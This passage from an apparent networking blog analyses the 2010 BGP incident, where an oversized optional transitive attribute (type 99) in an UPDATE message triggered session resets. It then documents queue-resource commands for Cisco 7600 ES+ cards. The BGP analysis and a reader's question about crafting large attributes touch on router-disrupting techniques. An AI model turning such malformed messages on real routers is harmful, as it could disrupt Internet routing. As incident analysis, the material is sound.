Input from: test-bgp.txt
Output to: test-bgp.pcap
Generate dummy Ethernet header: Protocol: 0x800
Generate dummy IP header: Protocol: 6
Generate dummy TCP header: Source port: 179. Dest port: 1025
Start new packet
Wrote packet of 280 bytes at 0

-------------------------
Read 1 potential packet, wrote 1 packet


Now, if you load this pcap file into Wireshark, you'll get the following output:



As you can clearly see, there was an unknown attribute (with Type Code 99) inserted into the UPDATE message with the following characteristics:

Flags: Optional, Transitive, Partial, Extended Length
Type code : 99
Length : 3000 bytes

The length of the BGP UPDATE message has been defined as 280 in the BGP header, having 253 as total path attribute length, so something went clearly wrong.

This unknown attribute should have a length of 3000 bytes as defined in its length attribute, but it was only 184 bytes if you count the octets from where zeros start (after 0x0BB8) till the end. From this number comes 188 (184 + 4 for Flags/TypeCode/Length), the number that's included in the initial error message.

So, the length of the unknown attribute has been defined as 3000 into the packet, which is 0x0BB8 in hex. If you somehow remove the first octet, then it becomes 0xB8, which is 184 in decimal. If you add the 4 extra bytes (Flags, Type code, Length), then it becomes 188 and the sum of all attributes becomes 253, which is the one shown in the packet too.

In reverse order, if you calculate the supposed total path attribute length in case all attributes were correct, then it should be 3069, which is 0x0BFD in hex. If again you somehow remove the first octet, it becomes 0xFD (253).

I guess, in general anything larger than 0xFF (255) would have caused the same issue too.

Cisco issued an advisory after some hours, providing fixes for its IOS-XR software.


Regarding the behavior of BGP, the relevant RFC (4271) says the following, so everything was expected:

NOTIFICATION messages are sent in response to errors or special conditions. If a connection encounters an error condition, a NOTIFICATION message is sent and the connection is closed.
...
A NOTIFICATION message is sent when an error condition is detected. The BGP connection is closed immediately after it is sent.
...
Error checking of an UPDATE message begins by examining the path attributes. If the Withdrawn Routes Length or Total Attribute Length is too large (i.e., if Withdrawn Routes Length + Total Attribute Length + 23 exceeds the message Length), then the Error Subcode MUST be set to Malformed Attribute List.


There is also a lot of discussion happening regarding the notification and reset thing after this event and draft-ietf-idr-optional-transitive seems quite interesting.

Links
http://mailman.nanog.org/pipermail/nanog/2010-August/024837.html
http://www.networkworld.com/news/2010/082710-research-experiment-disrupts-internet-for.html
http://www.renesys.com/blog/2010/08/house-of-cards.shtml
https://labs.ripe.net/Members/erik/ripe-ncc-and-duke-university-bgp-experiment/

Question
Is there a chance by creating "dummy" and large attributes to cause memory issues on BGP routers?

Sunday, April 18, 2010

How to find queue utilisation on 7600/ES+ cards

Cisco usually provides various technical characteristics about their products, but you never get the details you need. One big mystery are the ES/ES+ cards on the 7600 platform. We've been using the ES+ cards for quite a long time and i was trying to get a comparison with the ES+T ones, which come in lower prices. The most worrying fact (regarding a specific project's needs) was a difference in QoS (especially egress) :

76-ES+T-20G : (16, 8, 4) (Level 4 Queues, Level 3 Shaper, Level 2 Shaper) queues per port
7600-ES+20G3CXL : 64,000 ingress queues & 64,000 egress queues

This seems like a big difference, but it may not be relevant to your case, unless you know how to count them easily.

An easy way to start experimenting is the "sh tech-support" command, which includes a lot of information. A variant of this is "sh hw-module slot x tech-support", if you're interested in a specific module. Beware of bug CSCta88917 if you try this. Bug toolkit doesn't say anything useful, but after we opened a new SR, we had to rma the whole module, because according to the tac engineer the crash was due to a faulty sensor (any idea why GOLD didn't catch it?).

Anyway, the command that displays the queue usage is "show platform hardware qos np x queue resources" and this is the output from a 7600-ES+20G3CXL card in slot 9 of a 7600:


7600#rem com mod 9 show platform hardware qos np 0 queue resources

np tm level groups entity
----------------------------------------------
0 0 L4 4096/15 32768/34
0 0 L3 256/13 4096/15
0 0 L2 8/11 256/13
0 0 L1 32/10 32/10
----------------------------------------------
0 1 L4 4096/14 32768/51
0 1 L3 256/10 4096/14
0 1 L2 8/5 256/6
0 1 L1 32/5 32/5
----------------------------------------------
0 2 L4 4096/6 32768/16
0 2 L3 256/6 4096/6
0 2 L2 8/5 256/5
0 2 L1 32/5 32/5

7600#rem com mod 9 show platform hardware qos np 1 queue resources

np tm level groups entity
----------------------------------------------
1 0 L4 4096/15 32768/34
1 0 L3 256/13 4096/15
1 0 L2 8/11 256/13
1 0 L1 32/10 32/10
----------------------------------------------
1 1 L4 4096/5 32768/10
1 1 L3 256/5 4096/5
1 1 L2 8/5 256/5
1 1 L1 32/5 32/5
----------------------------------------------
1 2 L4 4096/5 32768/10
1 2 L3 256/5 4096/5
1 2 L2 8/5 256/5
1 2 L1 32/5 32/5


You can see the queues per NP and per level. 7600-ES+20G3CXL has two NPs, each one controlling 10 ports. Each NP has 3 tm; tm 0 in each NP doesn't seem to be updated by the configuration changes (any clue?). The ones that interest you are tm 1 and tm 2 entity values, which control 5 ports each.

Summarizing it up :

NP 0, tm 1 : ports 1-5
NP 0, tm 2 : ports 6-10
NP 1, tm 1 : ports 11-15
NP 1, tm 2 : ports 16-20

According to the above outputs, there are 32768+32768 entities per NP, so i don't know if the official number of 64000 queues is totally correct. i.e. can you use all of them on the first 5 ports? 7600/ES+ QoS documentation provides some info, but it's not very clear.

These are the values you start with:


level entity
-------------------
L4 32768/10
L3 4096/5
L2 256/5
L1 32/5


If you have a single level policy, then you only reserve queues from L4 level.
If you have a hierarchical policy with 2 levels, then you reserve queues from L4 and L3 levels.
If you have a hierarchical policy with 3 levels, then you reserve queues from L4, L3 and L2 levels.

Service instance, port-channel service instance, and Layer 3 subinterface support 2-level policy-map:
- parent => class-default
--- child => user defined classes

Main interface supports 3-level policy-map:
- grand-parent => class-default
--- parent => user defined classes
----- child => user defined classes


Examples

If you have the following 2-level egress H-QoS applied on a main interface


7600#sh policy-map int gi9/6 | i Class
Class-map: class-default (match-any)
Class-map: 1A-CLASS (match-all)
Class-map: 1B-CLASS (match-all)
Class-map: 1C-CLASS (match-all)
Class-map: 1D-CLASS (match-all)
Class-map: 1E-CLASS (match-all)
Class-map: class-default (match-any)


then the output becomes...

Before:

level entity
-------------------
L4 32768/10
L3 4096/5
L2 256/5
L1 32/5


After:

level entity
-------------------
L4 32768/16
L3 4096/6
L2 256/5
L1 32/5


which means you're using :

1 L3 queue
6 L4 queues


If you have the following 3-level egress H-QoS applied on a main interface


7600#sh policy-map int gi9/1 | i Class
Class-map: class-default (match-any)
Class-map: 1A-CLASS (match-all)
Class-map: 2A-CLASS (match-all)
Class-map: 2B-CLASS (match-all)
Class-map: 2C-CLASS (match-all)
Class-map: 2D-CLASS (match-all)
Class-map: class-default (match-any)
Class-map: 1B-CLASS (match-all)
Class-map: 2A-CLASS (match-all)
Class-map: 2B-CLASS (match-all)
Class-map: 2C-CLASS (match-all)
Class-map: 2D-CLASS (match-all)
Class-map: class-default (match-any)
Class-map: 1C-CLASS (match-all)
Class-map: 2A-CLASS (match-all)
Class-map: 2B-CLASS (match-all)
Class-map: 2C-CLASS (match-all)
Class-map: 2D-CLASS (match-all)
Class-map: class-default (match-any)
Class-map: 1D-CLASS (match-all)
Class-map: class-default (match-any)


then the output becomes...

Before:

level entity
-------------------
L4 32768/10
L3 4096/5
L2 256/5
L1 32/5


After:

level entity
-------------------
L4 32768/27
L3 4096/10
L2 256/6
L1 32/5


which means you're using :

1 L2 queue
5 L3 queues
17 L4 queues


Notes

1) Does anyone have any explanation about the 2 extra L4 queues from the last example? If you count the leaf classes, you'll find they are 15. I guess the last 2 classes (that have no child) reserve an extra "hidden" child queue, probably in order to make their depth equal to the others'.

2)
In IOS hierarchical levels are represented as follows and current support is up to five levels:

• Physical or main interface
• Subinterface or logical layer
• Grandparent class
• Parent class
• Child class

A policy map with 2 levels has :
• 3 levels of hierarchy when attached on the main interface
• 4 levels of hierarchy when attached on a subinterface

A policy map with 3 levels has :
• 4 levels of hierarchy when attached on the main interface
• 5 levels of hierarchy when attached on a subinterface

 
Creative Commons License
This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License.
Creative Commons License
This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 Greece License.